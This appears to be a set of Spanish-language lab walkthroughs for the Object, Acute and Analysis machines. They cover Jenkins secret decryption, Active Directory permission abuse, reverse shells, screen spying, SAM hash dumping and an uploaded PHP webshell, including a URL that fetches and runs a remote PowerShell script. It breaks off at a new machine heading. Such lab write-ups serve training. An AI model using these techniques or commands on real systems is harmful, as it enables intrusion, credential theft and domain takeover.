A continuación, procederemos a listar el directorio /secrets y comprobamos que disponemos del archivo "hudson.util.Secret" y "master.key" necesarios para la desencriptación de la contraseña de Jenkins del usuario "admin".

Listaremos el contenido del archivo "master.key" a través de la siguiente instrucción.

Copiaremos el contenido para obtener el archivo de manera local en nuestra Kali, eliminaremos cualquier salto de línea innecesario y verificaremos que disponemos del contenido del archivo "master.key" de manera local.

Procederemos a intentar comprobar el contenido del archivo "hudson.util.Secret" y al intentar listarlo con "cat", nos aparecen caracteres ilegibles, lo cual parece indicar que el archivo se trata de un binario, por lo tanto, a través de un "cat" no se puede llegar a comprobar su contenido.

Por lo tanto, lo que realizaremos es mostrar el contenido del archivo pero codificado en Base64 para posteriormente descodificarlo en nuestro equipo local.

Procederemos a descodificar y a almacenarlo en un archivo local llamado "hudson.util.Secret".

Una vez obtenido los 3 archivos necesarios para desencriptar la contraseña del usuario "admin" de Jenkins, procederemos a utilizar la siguiente herramienta -->

Nos descargaremos el binario en nuestra Kali a través del siguiente comando.

Al ejecutar el binario, comprobaremos la sintaxis para el uso de la herramienta.

Al intentar desencriptar la contraseña del usuario "admin" de Jenkins a través de la herramienta Jenkins Credentials Decryptor con los tres archivos obtenidos, comprobamos que nos muestra la contraseña del usuario "oliver" en texto plano.

Intentaremos verificar con netexec si este usuario es válido para acceder al WinRM con las credenciales encontradas y verificamos que si.

Accederemos al WinRM a través de evil-winrm y verificaremos que obtenemos la flag del user.txt.

Privilege Escalation

Una vez ganado acceso al equipo, deberemos de buscar maneras para elevar nuestros privilegios y convertirnos finalmente en Domain Admins.

Verificaremos los permisos que disponemos y a qué grupos forma parte el usuario (oliver@object.local), no vemos ningún permiso ni grupo que podamos realizar un PrivEsc.

Ingresaremos al directorio C:\Users\ y comprobaremos que aparecen los siguientes usuarios.

Verificaremos puertos abiertos en la máquina en busca de alguno sospechoso, en este caso, no encontramos nada relevante.

Listaremos los directorios de Program Files en busca de algún programa inusual, en este caso, tampoco encontramos nada relevante.

Enumeramos los usuarios del dominio y los grupos del dominio, pero tampoco podemos sacar nada más relevante para realizar un PrivEsc.

BloodHound Enumeration

Debido que enumerando manualmente no hemos podido lograr encontrar ninguna vía potencial para elevar nuestro privilegio, lo que realizaremos es realizar la enumeración a través del Collector de SharpHound para posteriormente subir el .zip en el BloodHound en busca de buscar vías potenciales para elevar nuestros privilegios.

Lo primero será subir el binario de SharpHound a través del comando "upload" y posteriormente procederemos a descargar el comprimido obtenido para obtenerlo en nuestro equipo local a través del comando "download" que nos ofrece evil-winrm.

Enumerando desde BloodHound, verificamos que el único usuario Domain Admin del dominio es el mismo usuario Administrator.

Buscando una vía potencial para elevar nuestros privilegios para convertirnos en Domain Admins, nos encontramos con la siguiente ruta la cual parecee ser la más adecuada.

Abusing ForceChangePassword privileges with PowerView - Shell as smith

A través del usuario que disponemos actualmente (oliver@object.local), disponemos de permisos de ForceChangePassword sobre el usuario (smith@object.local).

Revisando la información del permiso en Bloodhound, nos informa que el usuario que disponemos actualmente tiene la capacidad de modificarle la contraseña al usuario sobre el cual tenemos permisos sin conocer la contraseña actual de este último.

Dado que nos encontramos en el mismo equipo Windows, procederemos a realizar el apartao de "Windows Abuse".

Para realizar esta explotación, necesitaremos disponer de PowerView en el equipo víctima.

Al tratar de importarlo en memoria con IEX, verificamos que nos aparece el error de "Unable to connect to the remote server" debido a las reglas de Firewall que no permite el tráfico saliente tal como enumeramos anteriormente.

Por lo tanto, procederemos a subir a través del comando "upload" el archivo PowerView.ps1 y lo importaremos en el equipo.

A través de la variable $UserPassword crearemos una SecureString de la contraseña que le asignaremos al usuario (smith@object.local).

Mediante la función Set-DomainUserPassword procederemos a cambiarle la contraseña al usuario (smith).

Verificaremos a través de netexec de que las credenciales se han modificado correctamente y también procederemos a conectarnos al WinRM con estas nuevas credenciales obtenidas.

Abusing GenericWrite privileges (Set-DomainObject - Setting Script Logon Path on a user) - Shell as maria

Volviendo a enumerar desde BloodHound, verificamos que el usuario que disponemos actualmente (smith@object.local) dispone de privilegios GenericWrite sobre el usuario (maria@object.local).

Revisando la información sobre el permiso que nos indica BloodHound, verificamos que este acceso otorga la capacidad de escribir en cualquier atributo no protegido en el objeto de destino, incluidos los "miembros" de un grupo y los servicePrincipalName de un usuario.

Lo que podemos pensar en realizar es un ataque llamado Targeted Kerberoasting desde Windows.

Este ataque lo que realiza es agregar un SPN (Service Principal Name) ficticio a una cuenta. Una vez que la cuenta tenga establecido el SPN, la cuenta se vuelve vulnerable al ataque de Kerberoasting. Lo cual posteriormente podemos obtener el TGS (Ticket Granting Service), es decir un hash que posteriormente podemos intentar crackear de manera offline.

En este caso, el ataque se realiza Set-DomainObject y Get-DomainSPNTicket.

En el siguiente GitHub () nos informa como realizar este tipo de ataque desde Windows.

Probando de realizar el Targeted Kerberoast, nos aparece un error de Kerberos, lo cual no nos permite realizar dicho ataque.

Debido que no hemos podido realizar el ataque, desde revisamos el ACL de GenericWrite on User en busca de intentar realizar otro tipo de ataque.

Este permiso permite a un atacante modificar las propiedades de un usuario. Un atacante puede llegar a cambiar la ruta del script de inicio de sesión (Script Path Logon) de un usuario para ejecutar un script malicioso al iniciar sesión.

En este caso, lo que realizaremos es crear un script (.ps1) que contenga la instrucción de listar el contenido del directorio C:\Users\Maria\Desktop y lo almacene el resultado en el directorio que estamos actualmente en el archivo "output.txt".

Este script le asignaremos de nombre "test.ps1", una vez creado el script, procederemos a asignarle el script en la ruta de inicio de sesión del usuarioo, para que cuando el usuario acceda al equipo, se ejecute el script.

Verificamos que el contenido obtenido nos muestra que la usuaria dispone de un Excel (Engines.xls) en el directorio Desktop de su usuario.

Una vez sepamos que existe este archivo en el directorio C:\Users\Maria\Desktop. El siguiente paso será realizar una copia de ese archivo al directorio en el que nos encontramos actualmente.

Para ello modificaremos de nuevo el script anterior "test.ps1" e indicaremos que realice la copia del archivo a nuestro directorio actual.

Al volver a comprobar el directorio actual, verificamos que se nos ha copiado correctamente el archivo "Engines.xls" que procederemos a descargarnos a nuestra Kali.

Verificaremos que se nos ha descargado correcamente el archivo en nuestro equipo local. Procederemos a abrirlo a través de LibreOffice.

Al abrir el Excel descargado,verificamos que dispone de credenciales de diferentes sitios sobre la usuaria (maria@object.local).

Guardaremos las credenciales en el archivo "passwords.txt".

Proabremos de validar si alguna de las credenciales obtenidas es válida para la usuaria, una vez verificado, procederemos a conectarnos al WinRM a través de evil-winrm.

Abusing WriteOwner (Takeover Domain Admins Group)

Al volver a enumerar desde BloodHound, verificamos que el usuario que disponemos actualmente (maria@object.local) dispone de privilegios de WriteOwner sobre el grupo (Domain Admins@object.local).

Revisando la información proporcionada por BloodHound sobre el privilegio en cuestión, observamos que el permiso WriteOwner sobre un grupo permite a un atacante modificar el propietario del mismo, lo que le otorga la capacidad de tomar control total sobre dicho grupo.

Al cambiar el propietario a su propia cuenta, el atacante podría manipular el grupo de diversas formas, como agregar o quitar miembros, modificar permisos o incluso utilizar el grupo para obtener privilegios más altos dentro del dominio.

Utilizamos el comando Set-DomainObjectOwner para transferir la propiedad del grupo a "maria", lo que nos permitió cambiar cualquier aspecto del grupo, incluidos sus miembros y permisos.

A continuación, utilizamos Add-DomainObjectAcl para otorgar a "maria" permisos completos sobre el grupo y, con Add-DomainGroupMember, la agregamos como miembro del grupo Domain Admins, asegurando su acceso a privilegios de administrador en el dominio.

Finalmente, verificamos la pertenencia de "maria" al grupo mediante el comando net user /domain, confirmando su escalada de privilegios y control completo sobre el dominio.

Volveremos a iniciar una nueva sesión de WinRM a través de evil-winrm para que se apliquen los cambios en la nueva sesión.

Una vez ganado el acceso, verificaremos que podemos eumerar el contenido de la flag root.txt.

Acute

Acute es una máquina Windows que se inicia con un sitio web en el puerto 443. El certificado del sitio web revela un nombre de dominio atsserver.acute.local. Al mirar el sitio web, se mencionan varios empleados y con esta información es posible construir una lista de posibles usuarios en la máquina remota. Al enumerar el sitio web, se revela un formulario con procedimientos relacionados con los recién llegados a la empresa. El formulario revela la contraseña predeterminada con la que se configuran inicialmente todas las cuentas. También revela un enlace para una sesión de Windows PowerShell Web Access (PSWA). Al combinar toda la información disponible del proceso de enumeración, un atacante puede ingresar a una sesión de PowerShell como el usuario edavies en Acute-PC01.

Luego, se descubre que el usuario edavies también está conectado mediante una sesión interactiva. Al espiar las acciones de edavie, se puede recuperar la contraseña de texto sin cifrar del usuario imonks para ATSSERVER. El usuario imonks se ejecuta bajo Just Enough Administration (JEA) en ATSSERVER, pero incluso con el conjunto de comandos limitado, un atacante puede modificar un script en ATSSERVER para convertir a edavies en administrador local en Acute-PC01. Ahora que edavies es un administrador local, se pueden recuperar HKLM\sam y HKLM\system del sistema para extraer los hashes de contraseñas de todos los usuarios. El hash del administrador resulta ser descifrable y la contraseña de texto sin cifrar se reutiliza para awallace en ATSSERVER. El usuario awallace puede crear scripts BAT en un directorio donde el usuario Lois los ejecutará. Lois tiene los derechos para agregar a imonks al grupo site_admin, que a su vez tiene acceso correcto al grupo Domain Admins. Entonces, después de que imonks se agrega al grupo site_admin, puede agregarse al grupo Administradores de dominio y adquirir privilegios administrativos.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Acute.

Lanzaremos scripts de reconocimiento sobre el puerto encontrado y lo exportaremos en formato oN y oX.

Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.

Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.

Procederemos a añadir la entrada en nuestro archivo /etc/hosts

Web Enumeration

Virtual Hosting

Procederemos a acceder a y y verificaremos que solamente nos muestra el contenido de la web a través del nombre DNS y no a través de la dirección IP.

Verificaremos las tecnologías y frameworks que utiliza la página web a través de la herramienta de whatweb.

Information Leakage

Revisando el contenido de la página web, nos encontramos un apartado de "About" en el cual aparecen los nombres de los miembros de la empresa, esto nos puede servir útil para intentar generar nombres de usuarios a través de las combinaciones de nombres.

También nos encontramos que en la página nos encontramos que hay un documento Word (.docx) nombrado 'New_Starter_CheckList_v7.docx'.

Al abrir el documento recién descargado, verificamos que aparece bastante información que puede llegar a comprometer la seguridad de la información.

En una sección del documento, verificamos que nos aparece una contraseña por defecto 'Password1!'.

También verificaremos que nos aparece un hipervínculo sobre un enlace llamado "Remote".

Abusing Windows PowerShell Web Access

Al acceder al enlace del documento Word, verificamos que se trata de un acceso a un PowerShell a través de la Web, nos pide usuario, contraseña y el nombre del equipo (hostname) al cual queremos conectarnos.

Nos guardaremos los nombres de los empleados que encontramos en la página web, a través de la herramienta de username-anarchy procederemos a generar un listado de usuarios con el formato (flast) que es muy común en Active Directory.

Por otro lado, para sacar el tema del nombre de la máquina, lo que realizaremos es revisar los propios metadatos del document Word, esto debido que a veces se muestra dónde se ha creado el Word desde los mismos metadatos del archivo.

En este caso, verificamos que nos aparece 'Created on Acute-PC01'.

Probaremos de autenticarnos en la PowerShell Web Access a través del usuario edavies, con la contraseña por defecto que encontramos en el Word y el nombre de la máquina.

Verificamos que hemos podido ganar acceso con el usuario a la PowerShell Web Access.

Al verificar en el equipo que nos encontramos. nos damos cuenta que se trata de un equipo y no del Domain Controller.

Revisando los directorios de la máquina Acute-PC01, verificamos que hay una ruta (C:\Utils) la cual es un directorio que no tiene el Windows Defender activo.

Monitoring by capturing the victim's screen (msfconsole)

Enumerando el equipo, verificamos que el usuario edavies tiene una consola activa en estos momentos, lo cual nos hace pensar que el usuario está con una consola CMD/PowerShell activa.

El objetivo será monitorear el equipo de la víctima a través de capturas de pantalla, una utilidad que nos ofrece msfconsole.

El primer paso será realizar un binario de una Reverse Shell de Meterpreter a través de la herramienta msfvenom.

Una vez generado el payload de la Reverse Shell, procederemos a acceder a la consola interactiva de Metasploit.

Configuraremos la sesión de Metasploit para recibir la Reverse Shell. Levantaremos un servidor web con Python para compartir el binario del payload y desde la consola de PowerShell Web Access procederemos a transferirnos el binario al equipo Acute-PC01.

Iniciaremos el Metasploit para recibir la Reverse Shell y desde la consola de PowerShell Web Access ejecutaremos el binario y comprobaremos que recibimos correctamente la Reverse Shell en Metasploit.

Al acceder a la máquina, verificamos que el usuario edavies tiene bastantes procesos abiertos, lo cual nos afirma la teoría que está utilizando una consola en el equipo en estos momentos.

A través de la utilidad screenshot de Metasploit, procederemos a realizar capturas de pantalla del equpo.

Al revisar las capturas que hemos ido realizando, verificamos que el usuario está tratando de realizar una conexión al equipo ATSSERVER con las credenciales del usuario 'imonks'.

Initial Access - Pivoting to imonks

Getting remote command execution on another server

Desde la consola de PowerShell Web Access, procederemos a configurarnos las credenciales del usuario 'imonks' a través de PSCredential.

Una vez configurada las credenciales, procederemos a intentar ejecutar el comando 'whoami' en la máquina ATSSERVER mediante la configuración que hemos podido capturar en el punto anterior.

Verificamos que el comando ha sido ejecutado correctamente en el servidor y nos ha devuelto correctamente el output. lo cual indica que las credenciales son válidas.

Al revisar el directorio de Desktop del usuario que disponemos, verificamos que hemos podido comprobar la flag de user.txt.

Pivoting to jmorgan

Abusing a PowerShell file to get remote command execution as another user - User Pivoting

En la misma carpeta de Desktop del usuario que disponemos actualmente (imonks), verificamos que nos aparece un archivo llamado wm.ps1 que contenía el siguiente contenido.

Se trata de un Script en PowerShell que utiliza las credenciales del usuario jmorgan a través de un SecureString y lo que realzia es ejecutar el comando (Get-Volume) en el equipo que nos encontramos actualmente (Acute-PC01) haciendo uso de esas credenciales.

El objetivo será intentar modificar el script para que ejecute otra instrucción en vez de la indicada (Get-Volume), en este caso, haremos que ejecute un "nc" para entablarnos una Reverse Shell a nuestro equipo. Subiremos el binario de nc.exe en (C:\Utils).

Lo primero será reemplazar a través de la función -Replace el contenido y a través de Set-Content trataremos de sobreescribir el archivo existente por el contenido nuevo modificado.

Verificamos que se ha sobreescrito correctamente el script, y ahora mismo lo que realiza este script es ejecutar la el binario de nc.exe que hemos subido anteriormente en (C:\Utils\nc.exe).

Procederemos a ejecutar el script de PowerShell modificado y desde una consola de nuestra Kali nos pondremos en escucha por el puerto especificado para recibir la Reverse Shell.

Verificaremos que hemos logrado obtener la Reverse Shell y nos encontramos con el usuario jmorgan en el equipo Acute-PC01. Verificamos que el usuario es Administrador local del equipo.

Privilege Escalation

Dumping Credentials - SAM File Hashes (mimikatz)

Debido que disponemos de permisos de Administrador sobre el equipo, una de las diversas cosas que poemos realizar en la máquina es dumpear la SAM para obtener los hashes NTLM de los usuarios locales del equipo.

Para ello exportaremos los archivos SAM y SYSTEM a través de "reg save".

Una vez obtengamos la copia de los archivos SAM/SYSTEM procederemos a utilizar la herramienta de Mimikatz para extraer los hashes de la SAM desde la propia máquina víctima.

Para ello, procederemos a pasarnos el binario de Mimikatz desde nuestra Kali al equipo comprometido.

Al ejecutar el Mimikatz procederemos a hacer el DUMP de la SAM y verificaremos que hemos logrado obtener los hashes NTLM de los usuarios locales del equipo Acute-PC01.

Nos guardaremos en un achivo el hash NTLM del usuario 'Administrator'.

Cracking Hashes

Procederemos a intentar crackear el hash NTLM obtenido del usuario 'Administrator' con el objetivo de obtener la contraseña en texto plano y posteriormente revisar si algún usuario reutiliza estas credenciales.

Para ello, a través de hashcat intentaremos crackear el hash. En este caso, logra crackearlo correctamente.

Password Reuse - Pivoting to awallace

De la lista de usuarios que disponemos, solamente nos quedan 3 usuarios los cuales no disponemos de sus credenciales de acceso. Por lo tanto, deberemos intentar validar con alguno de esos tres usuarios si las credenciales que disponemos se reutilizan en alguno de ellos.

Desde la PowerShell Web Access crearemos un nuevo objeto con las credenciales del usuario que probaremos: awallace, verificaremos que son correctas debido que se logra ejecutar el comando 'whoami' en el equipo ATSSERVER. Por lo tanto, este usuario reutiliza las credenciales obtenidas anteriormente.

Abusing Cron Job - BAT file

Dado que ya disponemos de unas nuevas credenciales del usuario awallace, procederemos a enumerar los programas que dispone el equipo ATSSERVER. Entre los cuales aparece una carpeta sospechosa llamada "keepmeon".

Revisando el directorio mencionado, verificamos que se encuentra un archivo (keepmeon.bat) que se trata de un script que se ejecuta cada 5 minutos sobre cualquier archivo que finalice por (.bat).

Este script es ejecutado solamente por el usuario Lois.

Si volvemos a revisar el documento Word que nos descargamos al principio, en una de las secciones indica que el único usuario autorizado para modificar la membresía de grupos sobre los usuarios.

Además, aparece un mensaje mencionando un grupo llamado "Site Admin", lo cual nos parece algo extraño ya que no es un grupo común de AD.

Verificaremos los grupos existentes en el dominio, para verificar que se encuentre el mencionado en el documento. Efectivamente existe un grupo llamado "Site_Admin".

Al verificar el grupo "Site_Admin", comprobamos que aparece un comentario sobre dicho grupo mencionando que este grupo solamente se utiliza en casos de emergencia y forma parte del grupo "Domain Admins".

Por lo tanto, nos encontramos con el siguiente escenario:

Lois, tiene permisos para modificar la membresía de grupos sobre usuarios.
El script 'keepmeon.bat' es ejecutado por el usuario Lois cada 5 minutos
Este script itera por cualquier archivo que acabe en extensión .bat en el directorio actual.

Con este escenario presente, la idea será crear un archivo .bat que trate de añadir al usuario awallace al grupo Site_Admin, este script .bat se ejecutará cada 5 minutos por el usuario Lois que tiene permisos para añadirnos a grupos.

Por lo tanto, si todo es correcto y funciona al ejecutarse ese script automatizado, Lois nos añadirá al grupo mencionado teniendo acceso completo al Domain Admins.

El primer paso será crear el archivo .bat que nos añada al grupo mencionado.

Verificamos que antes de que sea ejecutado el script, el usuario que disponemos awallace dispone de los siguientes grupos de acceso.

Al ejecutarse el script pasado los 5 minutos, comprobamos que hemos sido añadidos al grupo "Site_Admin", y como este grupo forma parte del grupo "Domain Admins", también disponemos de privilegios de Domain Admins.

Verificamos que tenemos acceso para comprobar el contenido de la flag de root.txt.

Para poder ganar acceso a la máquina para disponer de control remoto en una Shell y no a través de este método de PowerShell Web Acces mediante ScripBlock, lo que realizaremos es lo siguiente:

Nos compartiremos el binario de nc.exe desde nuestra Kali y lo descargaremos en ATSSERVER mediante "wget".

Una vez lo tengamos en el equipo víctima, procederemos a ejecutar para entablarnos una Reverse Shell a nuestra Kali.

Verificamos que estando nosotros en escucha por el puerto especificado, hemos ganado acceso al equipo ATSSERVER mediante la Reverse Shell con nc.exe.

Analysis

Analysis es una máquina Windows de dificultad difícil, que presenta varias vulnerabilidades, enfocadas en aplicaciones web, privilegios de Active Directory (AD) y manipulación de procesos. Inicialmente, una vulnerabilidad de Inyección LDAP nos proporciona credenciales para autenticarnos en una aplicación web protegida. A través de esta aplicación, se obtiene acceso al sistema local obteniendo la ejecución de comandos a través de una carga de archivo HTA.

En el sistema objetivo, las credenciales de otro usuario se encuentran en los archivos de registro de la aplicación web. Posteriormente, al implementar un API Hook sobre BCTextEncoder, se descifra una contraseña cifrada y se usa para pivotar a otro usuario. Finalmente, al cambiar la contraseña de una cuenta que tiene derechos DCSync contra el dominio, se obtiene acceso administrativo al controlador de dominio.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Analysis.

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.

Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.

Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.

Comprobaremos el nombre del dominio que nos enfrentamos, el nombre del equipo y que tipo de máquina nos enfrentamos.

Procederemos a añadir la entrada en nuestro archivo /etc/hosts

Website Enumeration

Probaremos de acceder al sitio web que se encuentra expuesto en el puerto 80 (HTTP) y comprobaremos que tecnologías utiliza a través de Wappalyzer.

DNS Enumeration

Probaremos de intentar enumerar a través del DNS (Puerto 53) para ver si encontramos algún registro DNS o si podemos realizar un Zone Transfer Attack, pero no encontramos nada más y tampoco podemos realizar dicho ataque.

Subdomain Enumeration

Por lo tanto, procederemos a intentar enumerar directorios que se encuentren en el sitio web. Comprobamos varios directorios.

Probando de acceder a ellos, comprobamos que nos reporta un error 403 Forbidden, indicando que no disponemos de acceso a los directorios. Por lo tanto, tampoco podemos realizar "directory listing".

Probaremos de enumerar posibles subdominios del sitio web, entre los cuales encontramos un subdominio "internal" que nos da error 403 Forbidden, es decir, sin permisos para acceder, pero el subdominio existe.

Añadiremos esta nueva entrada en nuestro archivo /etc/hosts.

Comprobaremos de acceder a y comprobaremos que nos arroja un error 403.

Intentaremos enumerar directorios para este subdominio que hemos encontrado a través de gobuster, comprobamos que encontramos varios directorios.

Sabemos que la página tiene como lenguaje de programación PHP. Por lo tanto, probaremos de intentar listar posibles páginas PHP que se encuentren en el directorio "users" del subdominio "internal".

Verificamos que encontramos un archivo PHP en

Probaremos de intentar listar posibles páginas PHP que se encuentren en el directorio "employees" del subdominio "internal".

Verificamos que encontramos un archivo PHP en

Probando de acceder a comprobamos que nos indica que le tenemos que pasar un parámetro para que funcione la página, desconocemos el nombre del parámetro pero podremos intentar fuzzearlo más adelante.

Si accedemos a nos pide credenciales que no disponemos.

Web Fuzzing

Intentaremos de realizar fuzzing a la web para intentar encontrar el parámetro que nos hace falta para la página

En el primer escaneo, todos nos devuelve 17ch de respuesta, que equivale al mensaje que nos aparecía de (missing parameter).

Por lo tanto, pensando que el total de carácteres cambiará si le pasamos la variable correcta, procedemos a ocultar el total de carácteres (17). Encontramos que parece ser que hay una variable válida nombrada "name".

Users Enumeration

Kerberos - User Brute Force Enumeration (Kerbrute)

Por otro lado, procederemos a intentar enumerar usuarios válidos del dominio a través de Kerbrute.

RPC Enumeration and RID Brute Force Attack - [FAILED]

Procederemos a realizar una enumeración de usuarios a través del RPC y a realizar un RID Brute Force Attack, sin resultado ninguno.

AS-REP Roasting Attack (GetNPUsers) - [FAILED]

De la lista de usuarios que hemos sacado con Kerbrute, podemos ir intentando a realizar unn AS-REP Roasting Attack.

LDAP Injection

Sobre la página web que hemos encontrado (), probaremos de intentar de enumerar por ejemplo el usuario "Administrator", no obtenemos respuesta ninguna.

http://internal.analysis.htb/users/list.php?name=administrator

Probando uno de los usuarios que hemos enumerado anteriormente con Kerbrute comprobamos que si nos aparece el resultado. Nos quita el apartado "CONTACT_" y nos aparece el campo del usuario en "Usernam" y su respectico First y Last Name.

http://internal.analysis.htb/users/list.php?name=jangel

Intentaremos realizar un SQL Injection (SQLI) para ver a qué nos enfrentamos, ya que de momento no sabemos si es una QUERY de LDAP o SQL. Probando una SQLI básica, comprobamos que no nos muestra nada más.

http://internal.analysis.htb/users/list.php?name=administrator' or 1=1;-- -

Probaremos la siguiente SQLI para ver si la página tarda en responder 5 segundos y así saber si es vulnerable a SQLI y corre un servicio SQL detrás de esta QUERY. Comprobamos que desaparece el formulario y no nos realiza el sleep de 5 segundos.

http://internal.analysis.htb/users/list.php?name=administrator' and sleep(5);-- -

Probando de pasarle el siguiente valor () y comprobamos que vuelve a desaparecer el contenido del formulario. Esto nos puede dar una gran pista, ya que podemos pensar que lo que detrás está de la QUERY son consultas LDAP.

http://internal.analysis.htb/users/list.php?name=()

Para acabar de confirmar que se trate de QUERYS de LDAP, probaremos de intentar que nos muestre el primer resultado del valor que empiece por 'a' y utilizar el '*' para completar el resto del campo. Comprobamos que nos muestra el primer resultado que empieza por 'a', por lo tanto, parece ser que la QUERY que hay detrás es de LDAP.

http://internal.analysis.htb/users/list.php?name=a*

Creating a Python script to easily exploit LDAP Injection

Procederemos a crear un script en Python para automatizar la explotación de LDAP Injection.

En este primer script de prueba, testearemos como funciona la página web y en qué campos se almacena el valor del "username" para quedarnos con ese dato.

En este caso, hemos parado el script con pdb.set_trace() y al ejecutar el script, mostraremos el contenido de r.text, comprobamos que el usuario se almacena entre las etiquetas "<strong>".

A través de re.findall nos quedaremos con el valor que hay entre las etiquetas "<strong>".

Esto sería lo mismo que revisarlo des de la página misma con (Ctrl + U).

Discovering valid users through LDAP Injection

Crearemos el siguiente script en Python que a través de fuerza bruta, irá enumerando usuarios válidos de LDAP a través del formulario haciendo uso de LDAP Injection, utilizando el * como comodín.

Probaremos de ejeuctar el script realizado y comprobamos que nos ha enumerado los siguientes usuarios.

Estos usuarios los añadiremos a la lista de usuarios que ya disponemos, y como hay usuarios nuevos, intentaremos nuevamente de realizar un AS-REP Roasting Attack, sin éxito tampoco.

Probaremos de realizar un password spraying para ver si algún usuario utiiza su mismo nombre de usuario como contraseña. No obtenemos éxito.

Intentaremos de realizar un ataque de fuerza bruta para ver si algún usuario sus credenciales es el nombre de usuario de otros usuarios de la lista. Tampoco obtenemos éxito ninguno.

Enumerating user description through LDAP Injection + Information Leakage

Crearemos un nuevo script de Python, modificando el que ya tenemos para intentar enumerar otro atributo de LDAP como es el campo de "Description" para ver si algún usuario dispone de algúna informacion/contraseña en su usuario.

En este primer script, probaremos de ver si algunos de los usuarios que disponemos, tiene descripción. Cuando tengamos algún usuario que tenga descripción, enumeraremos a través de fuerza bruta el contenido de la descripción del usuario en LDAP.

Comprobamos que hemos encontrado que el usuario "technician" dispone de descripción, una descripción que empiza por "9", un tanto peculiar para ser una descripción de un usuario LDAP.

Como ya sabemos que el usuario "technician" dispone de descripción. Realizaremos un ataque de fuerza bruta para enumerar el contenido de la descripción a través del script de Pyton.

Ejecutaremos el script de Python y a través de fuerza bruta comprobaremos el contenido de la descripción, una descripción un tanto extraña, que más bien parece una contraseña.

Verificaremos con netexec de validar las credenciales en SMB y WinRM, comprobamos que las credenciales son válidas pero no disponemos de acceso para acceder mediante Evil-WinRM en el protocolo de WinRM.

Kerberoasting Attack (GetUserSPNs) - [FAILED]

Como ya disponemos de unas credenciales válidas, probaremos de realizar un Kerberoasting Attack para intentar obtener un Ticket Granting Service (TGS). No encontramos ningún TGS.

RID Brute Force Attack

Probaremos de realizar un RID Brute Force Attack para enumerar usuarios a través del Relative Identifier (RID) con netexec y (--rid-brute). Comprobamos que encontramos más usuarios válidos.

Como queremos quedarnos solamente con los nombres de usuarios, jugaremos con expresiones regulares (regex) para quedarnos con el output que nos interesa y añadiremos el contenido en el archivo "users.txt" que ya existen los otros usuarios enumerados, es decir, los añadirá sin eliminar el contenido actual.

Como tenemos usuarios repetids, ordenadoremos los resultados, los filtraremos para quedarnos con valores únicos y a través de sponge lo pasaremos nuevamente el resultado al archivo "users.txt".

AS-REP Roasting Attack (GetNPUsers) - [FAILED]

Ya que disponemos en principio de todos los usuarios válidos, probaremos nuevamente de realizar un AS-REP Roasting Attack para intentar obtener un Ticket Granting Ticket (TGT) válido. No obtenemos resultado ninguno nuevamente.

LDAP Enumeration

Probaremos de enumerar el LDAP a través de ldapdomaindump con las credenciales obtenidas.

Revisando el grupo de "Remote Management Users" comprobamos que los usuarios que disponen de permisos para acceder por remoto son los siguientes, también comprobamos que el equipo se encuentra en francés.

Exploitation of a customized analysis panel

Probaremos de autenticarnos en el panel de inicio de sesión de con las credenciales del usuario "technician".

Comprobamos que logramos acceder al panel de Analysis y de las tecnologías que utiliza el sitio web, entre ellos, lenguaje de programación PHP.

Creating a PHP webshell for command execution + Reverse Shell with Nishang

En el apartado de "SOC Report" vemos que podemos subir un archivo que se ejecutará en una Sandvoz por parte de los analistas SOC. Para ello crearemos un archivo PHP de una WebShell simple.

Subiremos el archivo "cmd.php" de la WebShell que hemos creado.

Comprobaremos que se ha subido correctamente el archivo.

Como no sabemos donde se sube el archivo, probaremos con gobuster de enumerar algún directorio donde se suban estos archivos, encontramos el directorio "uploads".

Probaremos de acceder a la WebShell que hemos subido y probaremos de ejeuctar comandos, por ejemplo "whoami" para saber el usuario que ejecuta la página web.

http://internal.analysis.htb/dashboard/uploads/cmd.php?cmd=whoami

Como ya tenemos un Remote Code Execution (RCE), probaremos de establarnos una Reverse Shell. Nos pondremos con nc en escucha por el puerto 443.

Utilizaremos el script de .ps1 de Nishang para establecernos una Reverse Shell, modificaremos el contenido de "Invoke-PowerShellTcp.ps1" y al final del script pondremos el Invoke para que al importarlo en memoria se ejecute la Reverse Shell en el equipo víctima.

Pasaremos la ejecución del comando con Powershell y IEX para importarlo en memoria el Script que tenemos nosotros en nuestro servidor HTTP de Python.

http://internal.analysis.htb/dashboard/uploads/cmd.php?cmd=powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14/PS.ps1')

Comrpobamos que ganamos acceso al equipo de ANALYSIS.

Initial Access

System enumeration with winPEAS

Probaremos de enumerar el sistema en busca de vías potenciales para escalar nuestro privilegio, ya que actualmente somo suna cuenta de servicio (svc).

Nos copiaremos el winPEASx64.exe en nuestro directorio actual de trabajo y a través del servidor HTTP Python lo compartiremos para que en el equipo de Windows lo descarguemos a través de certutil.exe.

Ejecutando el winPEAS comprobamos que ha encontrado las credenciales almacenadas en el AutoLogon del usuario "jdoe".

ShellOver with Evil-WinRM

Intentaremos de validar las credenciales para autenticarnos en el SMB y comprobar que podemos acceder por WinRM, ya que en principio según habíamos enumerado anteriormente, el usuario "jdoe" formaba parte del grupo de "Remote Management Users".

Probaremos de acceder al WinRM a travésd e evil-winrm y las credenciales de jdoe. Comproobamos la flag de user.txt

Privilege Escalation

Abusing Snort (Leading Dynamic Modules)

Revisando la raíz del equipo, comprobamos que hay una carpeta llamada que es un sistema de detección de intrusos.

Revisando el manual de Snort, comprobamos que aparece un apartado de configuración que habla sobre "Dynamic Modules", probaremos de intentar ver si podemos realizar una explotación de esto.

Comprobaremos la ruta donde se guardan y ejecutan estos módulos dinámicos, también comprobaremos si disponemos de permisos de lectura, escritura y ejecución sobre la carpeta.

Creation of malicious DLL with msfvenom for loading into snort

A través de msfvenom crearemos un archivo DLL malicioso de una Reverse Shell. Levantaremos un servidor HTTP con Python para compartir este DLL con el equipo que queremos comprometer y con certutil.exe nos descargaremos el DLL malicioso.

En otra terminal nos pondremos en escucha por el puerto que hemos indicado en el DLL malicioso y comprobamos que después de unos minutos, ganamos acceso a la máquina y quien ejecutaba el Snort era el usuario "Administrator", por dicho motivo ganamos acceso a la máquina como dicho usuario.

Infiltrator

Reconnossaince

